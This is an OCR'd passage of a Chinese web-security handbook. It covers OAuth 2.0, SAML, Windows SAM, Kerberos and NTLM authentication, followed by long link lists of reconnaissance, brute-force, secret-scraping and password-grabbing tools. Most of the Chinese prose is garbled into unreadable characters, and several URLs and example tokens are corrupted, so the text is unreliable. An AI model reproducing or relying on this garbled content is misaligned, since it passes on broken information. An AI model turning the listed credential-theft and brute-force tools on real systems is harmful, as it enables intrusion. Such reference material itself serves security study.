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o code: FIREAUMD, ALTEIN . LA AAT ROV IV AZ AL HLAE P H BB RS —, 5 W S PHRAUIR S5 &+
B4 . %hS5% 7 ID FIEE ) URL, 2——X KA.

o state: WERFPURAIRPEEXABE, IS A3 0] W58 KA R A 240
Bildn:

HTTP/1.1 302 Found
Location: https://client.example.com/cb?code=Splx10BeZQQYbYS6WxSbIA&state=xyz

D BB, 2P A EAR 556 B 2 HTTP 53K, WE A TS

o grant_type: F/n{HHMBAUR, DT, HALKI(ER 2 H authorization_code
code: FIR b BIRIFHIBAED , LLIEIH
redirect uri: FIRHER URL, i, HAHS A BERPZSEEAR—E

client_id: FE/R& i ID, eI

Bilan:

POST /token HTTP/1.1
Host: server.example.com
Authorization: Basic czZCaGRSa3FOMzpnWDFmQmFOM2JW

Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&code=Splx10BeZQQYbYS6WxSbIA&redirect_uri=https/3A%2F
—%2Fclient/2Eexample’2Ecom/2Fcb

E BPRd, IEIRS 25 &k HTTP [, A5 A NS4
o access_token: FIRTIH, Wbk
o token_type: FIROMIERL, ZEI/NEGAEIR, Wikdi, ATPAZ bearer ZRAUE] mac 27
o expires_in: FRUMNE], AN, WEREERSE, WAy =R E I e ]
o refresh token: FIRIEHIM, FIRIKIBUT —RITTHME, WL
o scope: FTRALFRIEH , ARG % P b H G RO AE I — 2, IR g
B

HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store

Pragma: no-cache

(R
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(8:EW)

"access_token":"2YotnFZFEjr1zCsicMWpAA",

"token_type":"example",
"expires_in":3600,

"refresh_token":"tGzv3JOkFOXG5Qx2T1KWIA",

"example_parameter":"example_value"

8.3.4 E{LRA

AR (implicit grant type) ARILHS =7 FHRFHON S5 . FEHEte B 88 o 1 ENR 5 o i 0
Bt TR A, UL . B SR R e, M R AT, AR T A
k.
HB W

o B PR PR TR 5 2

o PR RS TE P

o BB P TR, IS BT P 0% PR S RO TS I URT, JE URT ) Hash 3540 T
IR

o WIVIAR BT 55 #8 A HAER, HA A LEE E— U3y Hash {8
o GEEMRSS AR AT, A A A AT RAKE Hash {F H (4 f
o WYIAHAAT LB PAGR A, SR
o WIVEARIF R R LR P iy

A BT Pk i HTTP 365K, A8 RS
« response_type: FRFANHKAL, HALHIEEE N token , LTI
o client id: FIR%&unH 1D, WEEIi
o redirect_uri: FI/REEM A URIL, W50
o scope: FORPUFRILE, FEI
o state: FRFEFUIMILHRES, FERE, Pk CSRF

B

GET /authorize?response_type=token&client_id=s6BhdRkqt3&state=xyz&redirect_uri=https’3A
—%h2F/2Fclient2Eexample’2Ecom)2Fcb HTTP/1.1

Host: server.example.com

C B, NIEARS & ol & i) URL, A& AR 24
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o access_token: FIRVIHR, WAL

o token type: FIRAME, ZEN/NGAEUK, LI

o expires_in: FIRGHMIISE], FRACARY. WIREMGESR, WATHAN T BB R

o scope: FRAURIEE], WERSE ) HERIE B —E, BT g

o state: QIRZ AR ERXNSE, INIEARSS &4 0535 5K AR Y 240
Bin:

HTTP/1.1 302 Found
Location: http://example.com/cb#access_token=2YotnFZFEjrizCsicMiipAAéstate=cyztitoken_
—type=examplebexpires_1in=3600

e LT B, IIEAR 5% HTTP SkfE B Location £, i 5 P Vi ik HE fpg ik, ¥R, FEX M
Ik Hash #0055 74 R

WP B D YR, TR A 275 Location $5ER Mk, {H2 Hash f#fi/r A kik. #TKRA E B
B, Mess AR BERTAY B IR IR 55 4% S A il R B A0S, 4R IUE Hash AR,

8.3.5 HLEKX
#HHL (Resource Owner Password Credentials Grant) 1, Jil Pl % Pt & SR P4 R, %
P IR LeA5 8., 17 MRS5S iy REEHRAL
XA, P A O AR i, (B2 i NS 2 .
HAP N -
o PR P d A P A
o K PumeRE A RIS K ANIEIR S AR 1) R SR
o WIEMRSFERFIATCR)S , 1% i 15 17 -t
B B9, Kk i HTTP #5k, A I35
o grant_type: FIRFACEAL, HALHERE E N password , Wik
o username: F/RNH 4, LRI
o password: FIRNFIER, LT
o scope: FORUFRVLH, AL
Bilhn:

POST /token HTTP/1.1
Host: server.example.com

Authorization: Basic czZCaGRSa3FOMzpnWDFmQmFOM2JW

(T gk%E)
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(8:EW)

Content-Type: application/x-www-form-urlencoded

grant_type=password&username=johndoe&password=A3ddj3w

C 2, NUEMRSS fe % i AR Vs AR, Bl

HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store

Pragma: no-cache

{
"access_token": "2YotnFZFEjr1zCsicMWpAA",
"token_type": "example",
"expires_in": 3600,
"refresh_token": "tGzv3JOkFOXG5Qx2T1KWIA",
"example_parameter": "example_value"

}

8.3.6 ZEFiRERX

#)3ifis (Client Credentials Grant) 57 P bA H ORI S, MIAZA A L, Wi d5 st AT iAIE

HARUNR
o B AU S5 A8 2T B ORI ER— A5 A
o NIEMRSFASIIATE IR G, % e s 1 4 it

A BB, Pk R HTTP iR, 8RS

o granttype: FIRIAGEA, HALHIMEEE N clientcredentials , WL

o scope: FNAURVEH, AIEEW
il 4n :

POST /token HTTP/1.1
Host: server.example.com
Authorization: Basic czZCaGRSa3FOMzpnWDFmQmFOM2JW

Content-Type: application/x-www-form-urlencoded

grant_type=client_credentials

B B, IANUEARSS & % Ak Ui R, BN
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HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store

Pragma: no-cache

{
"access_token": "2YotnFZFEjri1zCsicMWpAA",
"token_type": "example",
"expires_in": 3600,
"example_parameter": "example_value"
}

8.3.7 &E

o 1fc6749

i OAuth

OAuth 2.0 Vulnerabilities

e OAuth Community Site

8.4 SAML

8.4.1 &F4y
SAML (Security Assertion Markup Language) P HZEWMERiciEs, &M xXXML #&XMWiEs, fH
XML ##%RXACH., FK5EH SSO MLIfE.

SAML 774E 1.1 A1 2.0 PANHUAS, X PASIRASANARSS , AN e 2 S s W R Gt BRSNS, FoedE—
LOUT B TS

8.4.2 NEit 2
SAML FRAIEW KB =AM, At (SP). MRS (IDP). HIF (Client), —A4>HBHALIA
HERT AR -

1. Client 5[ 32 471 55 U5

2. SP A RAIFER SAML &[54 Client

3. Client $2£%z%k %] IDP

4. IDP & [ITAGIETE K
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http://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html
https://ldapwiki.com/wiki/OAuth%202.0%20Vulnerabilities
https://oauth.net/

Web-Sec Documentation, 475 1.0

5. Client %[ IDP
6. INIERI G, IDP A4 lFAEHZE 2 bRl TR SAML, iR [H]25 Client
7. Client $2xF SAML %; SP

8. SP i SAML, #EifREavE, R&EFR

8.4.3 Z&ad

o VT ssl BUT BN RT e, m RARHIRAE44 7 sUbn 2 e AR
o U2R SAML HR/DT expiration, FHWTH ID AEME—/, HE2 5T BERCE IS 0

8.4.4 BEHEE

e« SAML Wiki
o« RFCT7522

e SSO Wars The Token Menace

8.5 Windows

8.5.1 KA FIAE

Windows 37 M5 RT3 755 2 WP P A S50 0 P 22 5 FR e S A LB
i# 1 winlogon.exe W Py AfZiHEE 1sass.exe $HFTIANE.

winlogon.exe FTHEM . BE. 9IRGB REEAE. 1sass. exe TS0 AS i NTLM Hash
FIER S SAM HdiE E AL

8.5.2 SAM

LA FEPRES (Security Accounts Manager, SAM) 2 Windows #/E R G E P Pk a0 2e4 il i —
P . FRAFAE Windows 4541 2258 5 A0 (1 B0 2 SO T 00 B SO T il SAM SR ORAF I 22 W] 5C
TG — R EEAL B ) Hash {EHARFFR Hash 4325 LM Hash, NTLM Hash. 24 P75 A
HERF 2R A Hash {5 SAM U RA7R) Hash {HHEFTXTEE .

SAM XX ff & % T  %SystemRoot%\system32\config\sam ', 7& ¥ M} % W & £ &
HKEY_LOCAL_MACHINE\SAM\SAM , HKEY_LOCAL_MACHINE\SECURITY\SAM . ¥EEHE M K SAM {4k

THUERSA T EZI . &l B3 0CH system HFAURA AT A 1% 300
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8.5.3 HIDWERR
RSO 7/ 1 £ G O AN = = = A (S 5 V7 I 7 1 Windows 7 KB
%SystemRoot%\system32\config\sam C{}
o JKHL %SystemRoot¥\repair\sam._ Cf.
N TREMENR S SAM #5IE
MR FRIELER AT SMB ) 3C, A 3RS TS

8.6 Kerberos

8.6.1 &1t
Kerberos ¥BGE JE T EE RGP T24BE Athena Wi H , FT ARSI, R EREEHE AU 3R AIE
7E£ RFC 1510 HgR4), Kerberos ;& Windows SFREEH T ERIA B0 B UE TR

A B, Kerberos ${it 17— HLLESK (SSO) MUk, HIEXHE— R, M AR IRS
fw, HOA, FTEDIRS . BRPRIR SRR SCORIR ST fn . XSS AR TR R . RARRY, AAraibaA
o5t B O —EINERSE, M2 ft—iUiAIERS & (AS-Authentication Server) fibix 26/ 55 g7l
o ARATARIE sl R TG edp— RS B SR T M a5 4% -

Kerberos tpisC@— T 548 (Ticket) MRS, 1 Kerberos RGH 2/H =AM NEMss4: (AS),
%) (Client) M@ 545 (Server) . AR S5 #xf P EATIRAE, HF ZATHEN PO R R &35 SRR
TGT (FEIRRTEE). BEE TS (TGS): fERITAE) M TGT ke I, MRS %47 ST (&
W) o 7E Kerberos R, & Pl 55 2 # A — ME—i44 7, WML Principale [, % omfl iz 55
i HERE S, HHENREM A B SHAIER S & AS JiE.

8.6.2 E{tAIINIERETE

L) i AR 5 e S TR, SR INASR & ImiY principal, 5459 principal

2. AS WEIWRZ)G, BEALER A8 Kc, s(session key), JRAEMREL P IMA SR I8 R INEY 2 5
L 5% Pm i sin, MR PR s e, WA NREPLERS, session, server_principal
2. G MRgsAnuin iSRG, RS SRR N, WA NBREPLERD, session, client principal

3. BHumE s T8 AW EE, WS LM SN, 53 Ke. s, SRE4EN—1 Au-
thenticator, HHp FZALFE YA AR Ts,c MIRLERAS, JfH SessionKey Ke,s %, 2 5% F i
Authenticator Fl1%5 server [ EHE[F I} & B IR 5525

4. M55 % 6 R A CREEIF S, &2 SessionKey Ke,s, il Kc,s fi#JF Authenticator, JRfin i
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1. f5# Authenticator HAHITRIEZ AN ETESHIRE LT 5 4080 AN, I BATE %A R B2 S
BB WFZE RS — BB, IREHA NBER T 2 miR P Ak N g, T
Replay 4if.

2. ¥o#r checksum & 751

3. WRERIESS, &Pt TIIE
5. W55 F B AT MEHBAA R i I A — 2R T B SR SE UBUAIIAGE . N8l i session key 1% 4 Hef i) 8¢
6. %P TR, HOBK A TR B O A IR R I TR 5 — 2, R EIER 55 4%

8.6.3 EEMINETTE
B D B RS ST R S AR S SAR EAATE . (U2, ORI R OB LR
YNEIGE D

PIMEAE Kerberos REEH, FIAT AN @M FURS (TGS - Ticket Granting Service), B
HATRPTF — D EE R S5 as . HO2 BRI SS & % i AT A0 HAR AR 55 S AR Y 540 o

XA, Kerberos RGEHHA N AE: INEMSF R (AS), %70 (Client), @RI d: (Server) FIZHE
BRURSs (TGS). ARSI UFIIR 5 43 (5 AR AR A3 T AR 6 %

L&) AS JGREICR, WHRNASZ: &l principal, ZRIEEAURSS ##AY rincipal
- AS WEIRRZI, BEBLER—A~ %1 Kc, s(session key), JFABREL FWIAN SRR 125 %5 i :
L SR P s, R PR s i, WA IR RD, session, tgsprincipal

2. 45 tgs MUSEYE, W tgs MBI, WA MREPLEY, session, client principal

[\

w

1. Authenticator
2. 45 tgs MY EEMR R K g iR S5 A%

3. server_ principal

=~

1. f5# Authenticator HATHITAIEE AN ETESHIFE LT 5 4080 AN, I BASE %A B2 S
BB WFZE R AR S — BB, IRUEHA NEER T 2 Bk P Ak N g, T
Replay 4.

2. KAt checksum & 751
3. ARHRIERS, & il T IAE
5. tgs A4 session key HIAHAEIAA % ) i
1. &P umfl tgs [ session key MRS, L7584 U session key Fll server_principal
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PR EE] TP RS, EOEH A CRERRIE RN, 18] Ke. s, SRA4EK—A Authenticator,

. TGS WRNM A CHEMEIEEN, F2] SessionKey Kc,s, il Ke,s fi#Jf Authenticator, JEfintE:#

H

>N
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2. M5 AR I i) S50 . AR R session key Al client principal

6. F e EIWIA N, RIF A G, SRR 4K A Authenticator, RiSRETINSSAN, WAL
1. Authenticator
2. RIS AR

7. RESAENE KRG, H B CHEBRITEDE, 158 session key, #AJ5H] session key T authenticator
AT e A T Ik

8. MRS5 5 T PAREREAR [u]— ] session key JI1# ) 2 Bl 1472 HRf ) IR 52 FSCRL 1) Bk
9. B il AT R, FRE A I TR [ O AR B T B R — 2L, OREGIEAR S5 2%

8.6.4 &E

e RFC 1510 The Kerberos Network Authentication Service
o Kerberos I\ IE AR AR
e Delegate to the Top: Abusing Kerberos for arbitrary impersonations and RCE

e Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol

8.7 NTLM E{3}I8iF

8.7.1 NTLM j\iE

NTLM j2& NT LAN Manager {455, NTLM @3 Pebl/ W21 Sk, & Windows NT FIRA
AR IE 22 A

BEXRE

o B UBTEAS HUANEE 21 H AR R A T

o B i) e 55 45 B SC AR TS

o M5 annr A 16 AR BEHLEC T KA % G, VES9—4 challenge

o BN S R RN challenge, SRJSRBIZ5 RS54, YN response
o RS54 . challenge. response & i%&ZAIA% I

o IR HIX A A TE SAM A% A R EE h R B XA PR R RS ELS Y, AR IS XA B R R R
2% chellenge

o SN LU ) challenge, HIR—HEHARAINUENY), ZINUERIY
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https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94?redirectedfrom=MSDN
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Net-NTLMvl

Net-NTLMv1 Ppsl i AR AR -
o B Hie A5 A Ak
o Mo AR B R, A 8 i) Challenge, ik [ul% /i

o Bl #| Challenge J5, {18 P85S hash X} Challenge fi%, -} response &ikZ5 RS
o

o JR55AS15%R response
Net-NTLMv1 response 157 H

o KA NTLM hash #hE 2 21 P50l =4 7 518

o =HHMWEES 3DES M RIAN =48], I Server % kAY Challenge
Py A S, R DAEE T T HAR I e i T H e Tl

Net-NTLMv2

H Windows Vista i, aKEAEH Net-NTLMv2 $pill, HIEAFGRAT
o HPmn RS AR Ak —ANE K
o RFSARBWENE KRG, ES—A 16 (i Challenge, %&i%[FI% i

o it F| Challenge )i, fifi &S %589 hash %f Challenge %%, {E} response & iEZ5 RS
7

° Hﬁ%%%ﬁg’ﬁ response

8.7.2 Hash
LM Hash

LM Hash(LAN Manager Hash) & windows & 5 H I M#&E Y, | IBM #%&it. LM Hash {5 f il 4 15 540
(1 DES, HAFFEBME . 4011 Windows B0 XP ., Server 2003 Z5{§i ff LM Hash, 150 R BINEE ] T
LM Hash 3§ NTLM Hash.

LM Hash fyi+8E 208

o BB PRER RS, 14 FHTEUR

o AR 14 FAYMTFEAE A 000 #hE

o I 14 FAT NPT TR R
PA KGS ! @#8% VEAMMEAXTIX AL AT DES %, #45] 16 T
PHZ 132 R SR LM Hash,
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fiA BB, LM Hash f74edi44 M
o WK R M 14 545, AR ING

o WEREMKE/NT 700, JG—AHMARIERE, WAL 45N aad3ba35b51404ee R HKT I K JiE
AN 7 A

o TPAUIMERRAR AR T I A
o DES kA%

NTLM Hash

N gk LM Hash p224 8, T 1993 4F7E Windows NT 3.1 5| AT NTLM Pl

Windows 2000 / XP / 2003 fE2 iRt 14 (igifi ] LM Hash, 7E25#85d 14 758 H NTLM Hash., Jfi
ZJGEM Vista FIGHIBCAH ] NTLM Hash,

NTLM Hash {31475 4 -
o FFEERLEEAA 16 #Ei], 4T Unicode 4wf5
o T MD4 M AAE

8.7.3 Wik

Pass The Hash

Pass The Hash (PtH) Uil & itk 53k EUES . 2 TIE Hash BEATIdi 07 50

KA 2012 4 12 %77 TR Pass The Hash JC B4 S, SCE bR ) T —S6pif i, FE8T T
FAFAAEEXT Pass The Hash $ LB H40 T,

Pass The Key

{E35 ] NTLM [FRES R, AT DU mimikatz % TR B JRIATD

NTLM Relay

et B T PA— e R 1 % i I 28 8y b, ] AT v ) N T8 1) Dy s OR IR BB o X6 26 i 4 26y B 0y
WAL 5, R IIR S5 vy D26 by i BAAUE R /7 3 o

8.7.4 &EuEE:

o Windows S 7IAUE M A K

e The NTLM Authentication Protocol and Security Support Provider
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https://www.freebuf.com/articles/system/224171.html
http://davenport.sourceforge.net/ntlm.html
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TRESHFIR

9.1 #HFEHR

9.1.1 H&a

o Web 2 [H

o HIETPF Web 24

o HIETIRNES L4 (BOGF)
o Web it H % B AR5

o XSS Bk IA T RIS B
o SQL HEAYE: S

BE

Understanding linux network internals

TCP/IP Architecture, Design, and Implementation in Linux

Linux Kernel Networking: Implementation and Theory

Bulletproof SSL and TLS
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e UNIX Network Programming
« TCP / IP HhiliFp
SEO

o SEO ZA

T Hbh
o JORE 2% 2 A T 5 A
o JOLRM 2% % A S A
o MERBUW—LFEBENR (SesE)

Hacking Programming

e Gray Hat Python

o HATHRE: ZaERRTIM AR
o BURIRAYEAR
o RARKEAR

HiEee

o KREWAR 52 A NS RITF IR (5055 )
o P RHEHEALI Spark, Druid, Flume 5 Kafka W 52 (&)
o BRI 5% (Fa30)

NBFIERELL

Web Zai 2> 94 (K #%)

Web Zaxtilgisr I Al (X#%)

Web 42 5 fb2E>] 5 GAN (X#%)
AT BAZXREARATT (JE5F)
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ZEEIR
o LA FRAN TR T IR TS M4 224 (X 4%)
o Ml SR L R S BRI GRS

RECH IR A 22588 (A s0)

CISSP ‘B 5% 2] 457

CISSP Ak 145 7

Linux RELEYRGIE . a5 AR (Flk)

Web 2 4R EFIHT
R B 48
PRI BT I——web S

9.1.2 WebSite

https://adsecurity.org/

9.1.3 Blog

https://www.leavesongs.com/
https://paper.seebug.org/
https://xz.aliyun.com/
https://portswigger.net /blog

https://www.hackerone.com/blog

9.1.4 Bug Bounty

https://www.hackerone.com/
https://bugerowd.com
https://www.synack.com/

https://cobalt.io/
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HETR
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https://adsecurity.org/
https://www.leavesongs.com/
https://paper.seebug.org/
https://xz.aliyun.com/
https://portswigger.net/blog
https://www.hackerone.com/blog
https://www.hackerone.com/
https://bugcrowd.com
https://www.synack.com/
https://cobalt.io/
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9.1.5 SLISINE

Web Z£4#%x CTF @H

https://github.com/orangetw/My-CTF-Web-Challenges

https:/ /www.ripstech.com/php-security-calendar-2017/

https://github.com/wonderkun/CTF _web

https://github.com/CHYDbeta/Code- Audit-Challenges

https://github.com/l4wio/ CTF-challenges-by-me

https://github.com/tsug0d /My AwesomeWebChallenge

https://github.com/a0xnirudh/kurukshetra

http://www.xssed.com/

oo 7 b

e Adaz: Active Directory Hunting Lab in Azure

e Detection Vagrant & Packer scripts to build a lab environment complete with security tooling and

logging best practices

9.1.6 MR EE
Awesome Z 7|

e Awesome CobaltStrike

e Awesome Cybersecurity Blue Team
e Awesome Hacking

o awesome sec talks

e Awesome Security

e awesome web security

¢ Awesome-Android-Security

Bug Hunting

e HowToHunt Tutorials and Things to Do while Hunting Vulnerability
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https://github.com/orangetw/My-CTF-Web-Challenges
https://www.ripstech.com/php-security-calendar-2017/
https://github.com/wonderkun/CTF_web
https://github.com/CHYbeta/Code-Audit-Challenges
https://github.com/l4wio/CTF-challenges-by-me
https://github.com/tsug0d/MyAwesomeWebChallenge
https://github.com/a0xnirudh/kurukshetra
http://www.xssed.com/
https://github.com/christophetd/Adaz
https://github.com/clong/DetectionLab
https://github.com/zer0yu/Awesome-CobaltStrike
https://github.com/fabacab/awesome-cybersecurity-blueteam
https://github.com/Hack-with-Github/Awesome-Hacking
https://github.com/PaulSec/awesome-sec-talks
https://github.com/sbilly/awesome-security
https://github.com/qazbnm456/awesome-web-security
https://github.com/saeidshirazi/awesome-android-security
https://github.com/KathanP19/HowToHunt

Web-Sec Documentation, &%5 1.0

Java

e learnjavabug Java Z&4AH = AAHE A demo

X

o atomic red team Small and highly portable detection tests based on MITRE’s ATT&CK

o Powershell Wi % )58 1AL H

e Active Directory Exploitation Cheat Sheet

9.2 HXIEX

9.2.1 g FIFE

o PRE-list List of (automatic) protocol reverse engineering tools for network protocols

9.2.2 HENIT

e Plohmann D, Yakdan K, Klatt M, et al. A comprehensive measurement study of domain generating
malware[C]//25th {USENIX} Security Symposium ({USENIX} Security 16). 2016: 263-278.

e Nasr M, Houmansadr A, Mazumdar A. Compressive traffic analysis: A new paradigm for scalable traffic
analysis[C]//Proceedings of the 2017 ACM SIGSAC Conference on Computer and Communications
Security. ACM, 2017: 2053-2069.

9.2.3 [RiEHEzNL

e Staicu C A, Pradel M, Livshits B. SYNODE: Understanding and Automatically Preventing Injection
Attacks on NODE. JS[C]//NDSS. 2018.

o Atlidakis V , Godefroid P , Polishchuk M . REST-ler: Automatic Intelligent REST API Fuzzing|[J].
2018.

o Alhuzali A, Gjomemo R, Eshete B, et al. {NAVEX}: Precise and Scalable Exploit Generation for
Dynamic Web Applications[C]//27th {USENIX} Security Symposium ({USENIX} Security 18). 2018:
377-392.
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https://github.com/threedr3am/learnjavabug
https://github.com/redcanaryco/atomic-red-team
https://github.com/rootclay/Powershell-Attack-Guide.git
https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet
https://github.com/techge/PRE-list
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9.2.4 WEHHIS

e Lekies S, Kotowicz K, Grof3 S, et al. Code-reuse attacks for the web: Breaking cross-site scripting
mitigations via script gadgets[C]//Proceedings of the 2017 ACM SIGSAC Conference on Computer
and Communications Security. ACM, 2017: 1709-1723.

o Papadopoulos P, Ilia P, Polychronakis M, et al. Master of Web Puppets: Abusing Web Browsers for
Persistent and Stealthy Computation[J]. arXiv preprint arXiv:1810.00464, 2018.

9.2.5 Hrizt&i|

e LiuT, QiY, Shi L, et al. Locate-then-detect: real-time web attack detection via attention-based deep
neural networks[C]//Proceedings of the 28th International Joint Conference on Artificial Intelligence.
AAAT Press, 2019: 4725-4731.

9.2.6 PEFA

e Klein A, Pinkas B. DNS Cache-Based User Tracking[C]//NDSS. 2019.

9.2.7 184

o Hayes J, Danezis G. k-fingerprinting: A robust scalable website fingerprinting technique[C]//25th
{USENIX} Security Symposium ({USENIX} Security 16). 2016: 1187-1203.

e Overdorf R, Juarez M, Acar G, et al. How unique is your. onion?: An analysis of the fingerprint-
ability of tor onion services[C]//Proceedings of the 2017 ACM SIGSAC Conference on Computer and
Communications Security. ACM, 2017: 2021-2036.

9.2.8 flfsiE

e Rosner N, Kadron I B, Bang L, et al. Profit: Detecting and Quantifying Side Channels in Networked
Applications[C]//NDSS. 2019.

9.2.9 J\iE

e Ghasemisharif M, Ramesh A, Checkoway S, et al. O single sign-off, where art thou? an empirical
analysis of single sign-on account hijacking and session management on the web[C]//27th {USENIX}
Security Symposium ({USENIX} Security 18). 2018: 1475-1492.
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9.2.10 B3P

e Pellegrino G, Johns M, Koch S, et al. Deemon: Detecting CSRF with dynamic analysis and property
graphs[C]//Proceedings of the 2017 ACM SIGSAC Conference on Computer and Communications
Security. ACM, 2017: 1757-1771.

9.3 ERKE

9.3.1 Whois

e who.is
o JiM WHOIS
o i WHOIS

e WikZ % WHOIS

9.3.2 MUEER

o KiRE
o ICP %A
o RUFRAIM

9.3.3 CDN Zif

o ZHh Ping
« CDN R4t

9.3.4 FiIRE

¢ subDomainsBrute
o wydomain

e broDomain

L] ESD

¢ aiodnsbrute

e OneForAll

o subfinder
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https://who.is/
https://whois.aliyun.com/
https://whois.cloud.tencent.com/
https://whois.chinaz.com/
https://www.tianyancha.com/
http://www.beianbeian.com/
https://icp.aizhan.com
https://ping.chinaz.com/
https://tools.ipip.net/cdn.php
https://github.com/lijiejie/subDomainsBrute
https://github.com/ring04h/wydomain
https://github.com/code-scan/BroDomain
https://github.com/FeeiCN/ESD
https://github.com/blark/aiodnsbrute
https://github.com/shmilylty/OneForAll
https://github.com/subfinder/subfinder
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9.3.5 I &Z3KHE

e the art of subdomain enumeration
e sslScrape
o aquatone A Tool for Domain Flyovers

e teemo A Domain Name & Email Address Collection Tool

o DNS DB Jjj i

9.3.6 S5EIRGK

e hydra

e medusa is a high-speed network authentication cracking tool
e Ncrack

e htpwdScan

e patator

9.3.7 Git {E8;itiF

o GitHack By BugScan

o GitTools

e Zen

e dig github history

o gitrob Reconnaissance tool for GitHub organizations
e git secrets

e shhgit Find GitHub secrets in real time

e GitHound GitHound pinpoints exposed API keys on GitHub using pattern matching, commit history
searching, and a unique result scoring system. A batch-catching, pattern-matching, patch-attacking

secret snatcher
e x patrol Github leaked patrol

e GitDorker scrape secrets from GitHub through usage of a large repository of dorks
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https://github.com/appsecco/the-art-of-subdomain-enumeration
https://github.com/cheetz/sslScrape/blob/master/sslScrape.py
https://github.com/michenriksen/aquatone
https://github.com/bit4woo/teemo
https://dnsdb.io/zh-cn/
https://github.com/vanhauser-thc/thc-hydra
https://github.com/jmk-foofus/medusa
https://github.com/nmap/ncrack
https://github.com/lijiejie/htpwdScan
https://github.com/lanjelot/patator
https://github.com/lijiejie/GitHack
https://github.com/BugScanTeam/GitHack
https://github.com/internetwache/GitTools
https://github.com/s0md3v/Zen
https://github.com/dxa4481/truffleHog
https://github.com/michenriksen/gitrob
https://github.com/awslabs/git-secrets
https://github.com/eth0izzle/shhgit
https://github.com/tillson/git-hound
https://github.com/MiSecurity/x-patrol
https://github.com/obheda12/GitDorker
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9.3.8 Github 5%

e Github Monitor Github Sensitive Information Leakage Monitor
e Github Dorks

e GSIL

e Hawkeye

e gshark

o GitGot

e gitGraber monitor GitHub to search and find sensitive data in real time for different online services

9.3.9 BERIHAH

o weakfilescan
¢ DirBrute

e dirsearch

e bfac

e ds_store exp

9.3.10 BEFENEH

o crawlergo A powerful dynamic crawler for web vulnerability scanners

9.3.11 BRI

Wappalyzer

e whatweb

e Wordpress Finger Print

. CMS H540R 3]

e JA3 is a standard for creating SSL client fingerprints in an easy to produce and shareable way
e TideFinger

o JARM active Transport Layer Security (TLS) server fingerprinting tool

e fingerprintjs Browser fingerprinting library with the highest accuracy and stability
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https://github.com/VKSRC/Github-Monitor
https://github.com/techgaun/github-dorks
https://github.com/FeeiCN/GSIL
https://github.com/0xbug/Hawkeye
https://github.com/neal1991/gshark
https://github.com/BishopFox/GitGot
https://github.com/hisxo/gitGraber
https://github.com/ring04h/weakfilescan
https://github.com/Xyntax/DirBrute
https://github.com/maurosoria/dirsearch
https://github.com/mazen160/bfac
https://github.com/lijiejie/ds_store_exp
https://github.com/0Kee-Team/crawlergo
https://github.com/AliasIO/Wappalyzer
https://github.com/urbanadventurer/whatweb
https://github.com/iniqua/plecost
https://github.com/n4xh4ck5/CMSsc4n
https://github.com/salesforce/ja3
https://github.com/TideSec/TideFinger
https://github.com/salesforce/jarm
https://github.com/fingerprintjs/fingerprintjs
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9.3.12 Waf g4

e identywaf
o wafw00f

o WhatWaf

9.3.13 ixOHE

e nmap
e zmap

e masscan

e ShodanHat

e 7ZGrab2 Fast Go Application Scanner
e RustScan The Modern Port Scanner
e DNS dnsenum nslookup dig fierce

e SNMP snmpwalk

9.3.14 DNS #iEZEig

e VirusTotal
o PassiveTotal
« DNSDB

o sitedossier

9.3.15 DNS x<Bx

¢ Cloudflare Enumeration Tool
e amass

o Certificate Search

9.3.16 =RRS

o Find aws s3 buckets
e CloudScraper

e AWS Bucket Dump
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https://github.com/enablesecurity/identywaf
https://github.com/enablesecurity/wafw00f
https://github.com/Ekultek/WhatWaf
https://github.com/nmap/nmap
https://github.com/zmap/zmap
https://github.com/robertdavidgraham/masscan
https://github.com/HatBashBR/ShodanHat
https://github.com/zmap/zgrab2
https://github.com/RustScan/RustScan
https://www.virustotal.com/
https://passivetotal.org
https://www.dnsdb.info/
http://www.sitedossier.com/
https://github.com/mandatoryprogrammer/cloudflare_enum
https://github.com/caffix/amass
https://crt.sh/
https://github.com/gwen001/s3-buckets-finder
https://github.com/jordanpotti/CloudScraper
https://github.com/jordanpotti/AWSBucketDump
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9.3.17 HIBEH

e Censys
e Shodan
e Zoomeye
o fofa

e scans

Just Metadata

e publicwww - Find Web Pages via Snippet

9.3.18 Password

e Probable Wordlists Wordlists sorted by probability originally created for password generation and
testing

e Common User Passwords Profiler
e chrome password grabber

e DefaultCreds cheat sheet One place for all the default credentials to assist the pentesters during an

engagement

o SuperWordlist

9.3.19 Cl {8ttt 55

e secretz minimizing the large attack surface of Travis CI

9.3.20 M AKIEER

o GHunt Investigate Google Accounts with emails

9.3.21 MBFEUIER

o EmailHarvester

9.3.22 Hfth

o datasploit

e watchdog
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https://censys.io
https://www.shodan.io/
https://www.zoomeye.org/
https://fofa.so/
https://scans.io/
https://github.com/FortyNorthSecurity/Just-Metadata
https://publicwww.com/
https://github.com/berzerk0/Probable-Wordlists
https://github.com/Mebus/cupp
https://github.com/x899/chrome_password_grabber
https://github.com/ihebski/DefaultCreds-cheat-sheet
https://github.com/fuzz-security/SuperWordlist
https://github.com/lc/secretz
https://github.com/mxrch/GHunt
https://github.com/maldevel/EmailHarvester
https://github.com/DataSploit/datasploit
https://github.com/flipkart-incubator/watchdog
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e archive
o HTTPLeaks
e htrace

e Quake Command-Line Application 360 [ %23 [a)l% R4

0.4 #H& TR
9.4.1 OSINT

e osint

e osint git

e OSINT-Collection
e trape

e Photon

e pockint

9.4.2 3T H
e SlackPirate Slack Enumeration and Extraction Tool - extract sensitive information from a Slack
Workspace

e twint An advanced Twitter scraping & OSINT tool

9.43 PAEE

e pipl

o hunter

o FEagleEye

e LinkedInt

e sherlock

e email enum
e Sreg

e usersearch
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https://archive.org/web/
https://github.com/cure53/HTTPLeaks
https://github.com/trimstray/htrace.sh
https://github.com/360quake/quake_rs
http://osintframework.com/
https://github.com/lockfale/OSINT-Framework
https://github.com/Ph055a/OSINTCollection
https://github.com/jofpin/trape
https://github.com/s0md3v/Photon
https://github.com/netevert/pockint
https://github.com/emtunc/SlackPirate
https://github.com/twintproject/twint
https://pipl.com/
https://hunter.io
https://github.com/ThoughtfulDev/EagleEye
https://github.com/mdsecactivebreach/LinkedInt
https://github.com/sherlock-project/sherlock
https://github.com/Frint0/email-enum
https://github.com/n0tr00t/Sreg
